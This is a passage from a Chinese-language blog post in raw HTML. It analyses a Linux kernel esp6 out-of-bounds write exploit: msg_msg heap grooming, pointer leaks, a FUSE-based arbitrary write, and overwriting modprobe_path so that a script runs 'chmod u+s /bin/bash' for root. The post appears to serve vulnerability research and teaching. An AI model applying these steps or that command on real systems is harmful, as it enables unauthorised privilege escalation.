248);">msg_msg-&gt;next</code> 指针；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（9）分配2个连续的 8-page dumy 对象（占位对象）；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（10）释放第2个占位对象，分配1个8-page slab，填满 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code>；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（11）释放第1个占位对象，分配漏洞对象，触发越界写来篡改 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;m_ts</code> &amp; <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code> ；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（12）如果第（11）步成功，就能越界读来泄露 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">struct seq_operations</code> 对象上的函数指针。</p><h3 style="font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">3-3 提权</span></h3><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">任意写</strong>：还是利用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code> 来进行任意写。由于普通用户需要 specific capability 才能使用userfaultfd，可以采用 CVE-2022-0185 中的介绍的FUSE方法来进行任意写。通过FUSE可以实现用户空间文件系统，然后映射我们的内存地址，只要有读写访问到该地址就可以调用我们的页错误处理函数，这样可以控制当 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code> 被篡改之后，再允许 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">copy_from_user()</code> 继续访问用户空间的数据。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5625579240037072" style="" data-type="gif" data-w="1079" src="https://wechat2rss.xlab.app/img-proxy/?k=4d1572d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FRcjPiba6l3dpJ0ekOWuC958TtjFPTaXXSzsib4Px4l8jtibyl1T9RUskn92mQdrssbtoUbVOf5TIU1EXhfvVoLficg%2F640%3Fwx_fmt%3Dgif"/></p><figure style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><figcaption style="font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;margin: 10px 0px 0px;padding: 0px;text-align: center;">7-arb_write</figcaption></figure><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">提权</strong>：利用任意写来篡改 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">modprbe_path</code> 提权。后面方法和 CVE-2022-0185 一样。将 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">modprbe_path</code> 改为 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">/tmp/get_rooot</code> （运行<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">chmod u+s /bin/bash</code>），这样提权后只要运行 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">/bin/bash</code> 即可提权。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（1）分配2个连续的 8-page dumy 对象（占位对象）；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（2）映射消息内容到FUSE，释放第2个占位对象，分配1个8-page slab，填满 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code>，线程会暂停在 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">copy_from_user()</code>；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（3）释放第1个占位对象，分配漏洞对象，触发越界写来篡改 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code> 为 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">modprobe_path</code> 地址；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（4）执行一个错误格式的binary 触发 modprobe；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（5）打开 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">/bin/bash</code> 即可提权。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0576923076923077" data-s="300,640" style="" data-type="png" data-w="884" src="https://wechat2rss.xlab.app/img-proxy/?k=6cf9166b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRcjPiba6l3dpJ0ekOWuC958TtjFPTaXXSApsjIT2W3TNibTjBh4otr5QZ5Ogak8o71tzIOiaus95OREDnCwWdB7mw%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><figcaption style="font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;margin: 10px 0px 0px;padding: 0px;text-align: center;">8-succeed</figcaption></figure><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">exp说明</strong>：</p><ul style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px 0px 0px 32px;list-style-type: disc;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p style="font-size: inherit;color: inherit;line-height: inherit;margin: 1.5em 0px;padding: 0px;">原exp中前1271行是设置环境，不重要（作者说，环境设置部分的代码是syzkaller自动生成的，非常复杂；只有利用部分，也即 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">loop()</code> 函数是作者写的，我们需要重点研究该函数），需要用到几个符号：<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">single_start</code> / <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">single_next</code> / <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">single_stop</code> / <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">modprobe_path</code>，在原exploit的111行修改即可。</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p style="font-size: inherit;color: inherit;line-height: inherit;margin: 1.5em 0px;padding: 0px;">exp中 main 函数设置完环境之后，调用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">clone()</code> 创建子进程执行 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">loop()</code> 函数，<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">loop()</code> 函数实现主要利用过程。参见 clone()分析，不同于 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">fork()</code> / <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">vfork()</code> ，<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">clone()</code> 克隆生成的子进程继续运行时不以调用处为起点，转而去调用以参数func所指定的函数；当函数func返回或者是调用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">exit()</code>（或者 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">_exit()</code>）之后，克隆产生的子进程就会终止，父进程可以通过 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">wait()</code> 一类函数来等待克隆子进程；调用者必须分配一块大小适中的内存空间供子进程的栈使用，同时将这块内存的指针置于参数 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">child_stack</code> 中。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;font-size: 14px;color: rgb(169, 183, 198);line-height: 18px;margin: 0px 2px;padding: 0.5em;overflow-wrap: normal !important;border-radius: 0px;background: none 0% 0% repeat scroll rgb(40, 43, 46);font-family: Consolas, Inconsolata, Courier, monospace;display: block;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;"><span style="font-size: inherit;color: rgb(91, 218, 237);line-height: inherit;margin: 0px;padding: 0px;">#<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">define</span> _GNU_SOURCE</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/><span style="font-size: inherit;color: rgb(91, 218, 237);line-height: inherit;margin: 0px;padding: 0px;">#<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">include</span> <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">&lt;sched.h&gt;</span></span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">clone</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(<span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> (*func)</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(<span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">void</span>*)</span>,<span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">void</span> *child_stack,<span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> flags,<span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">void</span> *func_arg,....<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>           <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">/*pid_t *ptid,struct user_desc *tls,pid_t *ctid*/</span>)</span>;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>                                     Return process ID of child on success,<span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">or</span> <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">-1</span> on error<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></code></pre></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p style="font-size: inherit;color: inherit;line-height: inherit;margin: 1.5em 0px;padding: 0px;">页喷射对象：进行页风水和页占位的对象是<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code>，因为其size设置很灵活，适合页喷射。</p></li></ul><hr style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5rem 0px;padding: 0px;height: 1px;border-color: rgb(165, 165, 165) currentcolor currentcolor;border-style: dashed none none;border-width: 1px medium medium;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h3 style="font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">参考</span></h3><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;"><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[1]</code> exploit及测试环境下载地址: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://github.com/bsauce/kernel-exploit-factory" target="_blank">https://github.com/bsauce/kernel-exploit-factory</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[2]</code> 参考: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://blog.csdn.net/qq_16097611/article/details/104965045" target="_blank">https://blog.csdn.net/qq_16097611/article/details/104965045</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[3]</code> cac2661c53f3: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cac2661c53f35cbe651bef9b07026a5a05ab8ce0" target="_blank">https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cac2661c53f35cbe651bef9b07026a5a05ab8ce0</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[4]</code> 03e2a30f6a27: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=03e2a30f6a27e2f3e5283b777f6ddd146b38c738" target="_blank">https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=03e2a30f6a27e2f3e5283b777f6ddd146b38c738</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[5]</code> patch: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ebe48d368e97d007bfeb76fcb065d6cfc4c96645" target="_blank">https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ebe48d368e97d007bfeb76fcb065d6cfc4c96645</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[6]</code> esp6_output_head(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/esp6.c#L513" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/esp6.c#L513</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[7]</code> skb_page_frag_refill(): <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://elixir.bootlin.com/linux/v5.16.14/source/net/core/sock.c#L2705" target="_blank">https://elixir.bootlin.com/linux/v5.16.14/source/net/core/sock.c#L2705</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;">[8]</code> sendmsg(): <em style="box-sizing: border-box;margin: 